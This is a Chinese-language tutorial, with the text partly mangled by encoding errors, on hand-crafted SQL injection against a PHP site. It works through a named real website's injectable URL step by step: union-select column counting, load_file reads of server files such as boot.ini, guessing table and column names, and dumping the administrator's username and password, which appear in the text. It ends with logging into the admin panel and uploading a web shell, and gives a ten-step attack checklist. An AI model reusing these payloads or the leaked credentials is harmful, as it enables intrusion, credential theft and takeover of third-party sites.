php 雖然不好注入 但是也有
大家好,今天給大家?guī)У慕坛淌莗hp手工注入,看了這個(gè)教程你會(huì)在不用工具的情況下,
拿下一般的php網(wǎng)站?。。?
目標(biāo)網(wǎng)站:http://www.atextile.org.cn:81
注入點(diǎn): http://www.atextile.org.cn:81/news.php?id=780
1.認(rèn)識(shí)注入類型
不管是asp.aspx.php,注入的標(biāo)準(zhǔn)類型必為
http://www.xxxx.com/aa.asp?p=xxx
http://www.xxxx.com/aa.aspx?p=xxx
http://www.xxxx.com/aa.php?p=xxx
2.判斷是否存在注入
不管是asp.aspx.php,注入點(diǎn)的判斷都是這樣的
http://xxx.xxx.xxx.xxx/down/show.php?id=26 and 1=1返回正常頁
http://xxx.xxx.xxx.xxx/down/show.php?id=26 and 1=2,返回錯(cuò)誤頁
存在注入
3.猜解準(zhǔn)確字段數(shù)
(不明白原理的請(qǐng)多看看這方面的文章,這只講實(shí)際運(yùn)用)
利用union來查詢準(zhǔn)確字段,如: and 1=2 union select 1,2,3,.......直到返回正常,說明猜到準(zhǔn)確字段數(shù)。如過濾了空格可以用 /**/代替。
http://www.atextile.org.cn:81/news.php?id=780 and 1=2 union select 1,2,3,4,5,6,7
http://www.atextile.org.cn:81/news.php?id=780/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,6,7
記下這個(gè)位置,3 和5
4.mysql也有內(nèi)置變量,可以幫助我們獲得更多信息
version()(4.0.21-nt)返回當(dāng)前數(shù)據(jù)庫版本信息,database(){db_atextile_org_cn} 返回當(dāng)前數(shù)據(jù)庫名,user(),{tt1330@localhost}返回MYSQL用戶名,可以幫助我們獲得更多信息。這些都是很基礎(chǔ)的東西
現(xiàn)在就在3和5這插入
http://www.atextile.org.cn:81/news.php?id=780%20and%201=2%20union%20select%201,2,version(),4,5,6,7
Load_file可以返回文件的內(nèi)容
(1),讀取系統(tǒng)信息
timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Windows Server 2003, Enterprise" /fastdetect /NoExecute=OptOut multi(0)disk(0)rdisk(1)partition(1)\WINDOWS="Boot Mirror C: - secondary plex" multi(0)disk(0)rdisk(1)partition(1)\WINDOWS="Boot Mirror C: - secondary plex"
(2)讀取php配置信息
我們轉(zhuǎn)化一下,
load_file('c:\boot.ini')=load_file(char(99,58,92,98,111,111,116,46,105,110,105))
5.準(zhǔn)確猜解表
如: and 1=1 union select 1,2,3,4,5,6.... from user 如果返回正常說明存在這個(gè)表。
http://www.atextile.org.cn:81/news.php?id=780 and 1=1 union select 1,2,3,4,5,6,7 from admin
說明沒有admin表
http://www.atextile.org.cn:81/news.php?id=780 and 1=1 union select 1,2,3,4,5,6,7 from user
正常說明有這個(gè)表
6.猜解表中的字段
and 1=1 union select 1,username,3,4,5,6.... from user/*如果字段顯示出字段內(nèi)容則存在些字段。
http://www.atextile.org.cn:81/news.php?id=780 and 1=1 union select 1,2,user,4,5,6,7 from user
http://www.atextile.org.cn:81/news.php?id=780 and 1=1 union select 1,2,name,4,5,6,7 from user
有字段name
同理再猜解password字段,猜解成功再找后臺(tái)登錄。
http://www.atextile.org.cn:81/news.php?id=780 and 1=1 union select 1,2,pass,4,5,6,7 from user
http://www.atextile.org.cn:81/news.php?id=780 and 1=1 union select 1,2,pwd,4,5,6,7 from user
有字段pwd
7.暴管理員的用戶名,密碼是多少
http://www.atextile.org.cn:81/news.php?id=780 and 1=2 union select 1,2,3,4,5,6,7 from user
http://www.atextile.org.cn:81/news.php?id=780 and 1=2 union select 1,2,pwd,4,name,6,7 from user
name:admin
pwd:83863176
7.登錄后臺(tái),上傳shell。
普通管理
備份數(shù)據(jù)庫
配置選項(xiàng)
群體信件
恢復(fù)數(shù)據(jù)庫
表情符號(hào)
http://www.atextile.org.cn:81/admin/login.php
php注入十點(diǎn)基本步驟
1.判斷是否存在注入,加';and 1=1;and 1=2
2.判斷版本 and ord(mid(version(),1,1))>51 /* 返回正常說明是4.0以上版本,可以用union查詢
3.利用order by 暴字段,在網(wǎng)址后加 order by 10 /* 如果返回正常說明字段大于10
4.再利用union來查詢準(zhǔn)確字段,如: and 1=2 union select 1,2,3,......./*直到返回正常,說明猜到準(zhǔn)確字段數(shù)。如過濾了空格可以用/**/代替。
5.判斷數(shù)據(jù)庫連接帳號(hào)有沒有寫權(quán)限,and (select count(*) from mysql.user)>0 /*如果結(jié)果返回錯(cuò)誤,那我們只能猜解管理員帳號(hào)和密碼了。
6.如果返回正常,則可以通過and 1=2 union select 1,2,3,4,5,6,load_file(char(文件路徑的ascii值,用逗號(hào)隔開)),8,9,10 /* 注:load_file(char(文件路徑的ascii值,用逗號(hào)隔開))也可以用十六進(jìn)制,通過這種方式讀取配置文件,找到數(shù)據(jù)庫連接等。
7.首先猜解user表,如: and 1=2 union select 1,2,3,4,5,6.... from user /* 如果返回正常,說明存在這個(gè)表。
8.知道了表就猜解字段,and 1=2 union select 1,username,3,4,5,6.... from user/*如果在2字段顯示出字段內(nèi)容則存在些字段。
9.同理再猜解password字段,猜解成功再找后臺(tái)登錄。
10.登錄后臺(tái),上傳shell。